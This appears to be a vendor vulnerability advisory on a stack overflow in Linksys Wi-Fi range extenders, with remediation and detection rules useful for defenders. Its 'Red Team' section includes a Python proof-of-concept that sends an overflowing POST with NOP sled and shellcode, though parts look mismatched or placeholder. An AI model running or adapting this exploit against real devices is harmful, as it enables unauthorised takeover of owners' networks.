CVE-2025-14133
Executive Summary
CVE-2025-14133 is a critical stack-based buffer overflow vulnerability affecting multiple Linksys Wi-Fi range extender models (RE6500, RE6250, RE6300, RE6350, RE7000, RE9000). The flaw resides in the AP_get_wirelessclientlist_setClientsName function within the mod_form.so shared object. By manipulating the clientsname_0 argument, an unauthenticated remote attacker can trigger a stack overflow, leading to arbitrary code execution or denial of service. The exploit has been publicly released, and the vendor has not responded to disclosure attempts. No patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the remote, unauthenticated nature and the potential for code execution, the estimated score is 9.8 (Critical).
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full system compromise possible.
- Integrity (I): High (H) – Full system compromise possible.
- Availability (A): High (H) – Denial of service or full system compromise.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow in the mod_form.so library. The function AP_get_wirelessclientlist_setClientsName is responsible for processing client name data from the web management interface. The clientsname_0 parameter is copied into a fixed-size stack buffer without proper bounds checking. By sending a crafted HTTP request with an overly long clientsname_0 value, an attacker can overwrite the return address and other critical stack data.
The exploit is straightforward: a long string of data is sent to the vulnerable endpoint, causing the stack to overflow. The attacker can then control the instruction pointer (PC) to redirect execution to shellcode or a ROP chain. Since the device runs a Linux-based embedded system, successful exploitation can yield a root shell.
Vulnerable vs. Patched Code
No patched code is available. The vulnerable code snippet (reverse-engineered from the binary) would look similar to:
void AP_get_wirelessclientlist_setClientsName(char *clientsname_0) {
char buffer[256];
// VULNERABLE: no bounds check
strcpy(buffer, clientsname_0);
// ... further processing
}
A patched version would include a bounds check:
void AP_get_wirelessclientlist_setClientsName(char *clientsname_0) {
char buffer[256];
// PATCHED: limit copy size
strncpy(buffer, clientsname_0, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... further processing
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Obtain a vulnerable Linksys RE6500 (or any listed model) with firmware version 1.0.013.001.
- Connect the extender to a network and note its IP address (e.g., 192.168.1.100).
- Use a Linux attack machine with Python3 and
pwntools.
Exploit Code (Python):
#!/usr/bin/env python3
import socket
import sys
# Target IP and port
target_ip = "192.168.1.100"
target_port = 80
# Payload: overflow buffer + return address + shellcode (placeholder)
# Replace with actual shellcode for your target architecture (MIPS or ARM)
payload = b"A" * 300 # Overflow buffer
payload += b"\x00" * 4 # Overwrite return address with controlled value
payload += b"\x90" * 100 # NOP sled
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # Example shellcode
# Craft HTTP request
http_request = (
f"POST /goform/setClientsName HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(payload)}\r\n"
f"\r\n"
f"clientsname_0={payload.decode('latin-1')}"
)
# Send exploit
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(http_request.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()
Execution:
python3 exploit.py
Blue Team
Detection:
- Monitor for unusually long HTTP POST requests to
/goform/setClientsName. - Look for repeated connection attempts from the same IP to the vulnerable endpoint.
- Use the YARA and Sigma rules below to detect exploit attempts.
Honeypot:
- Deploy a honeypot mimicking the vulnerable endpoint to capture attacker payloads.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/goform/setClientsNamewithclientsname_0parameter exceeding 256 bytes. - Source IPs scanning for Linksys range extenders on port 80/443.
- HTTP POST requests to
- Host:
- Unexpected processes or shell sessions on the device.
- Modified firmware or binary files.
- File:
/tmp/*.shscripts dropped by exploit.- Unusual entries in
/var/log/messages.
Detection Engineering
YARA Rule
rule CVE_2025_14133_Exploit {
meta:
description = "Detects exploit attempts for CVE-2025-14133 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14133"
strings:
$exploit_pattern = "clientsname_0=" ascii wide
$overflow = { 41 41 41 41 41 41 41 41 } // 8 A's
condition:
$exploit_pattern and #overflow > 30
}
Sigma Rule
title: CVE-2025-14133 Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with overly long clientsname_0 parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/goform/setClientsName'
cs-uri-query|contains: 'clientsname_0='
condition: selection and len(cs-uri-query) > 300
falsepositives:
- Legitimate long client names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14133 Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/setClientsName"; http_uri; content:"clientsname_0="; http_client_body; pcre:"/clientsname_0=[A-Za-z0-9%]{300,}/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable remote management on the affected devices. If possible, isolate them on a separate VLAN with no internet access.
- Workaround: Block HTTP POST requests to
/goform/setClientsNameat the network perimeter using WAF or firewall rules. - Long-term: Replace the vulnerable devices with patched models or alternative products. Monitor the vendor's website for any future firmware updates.
- Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
Valters IT
DevSecOps & Cyber Threat Intelligence
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.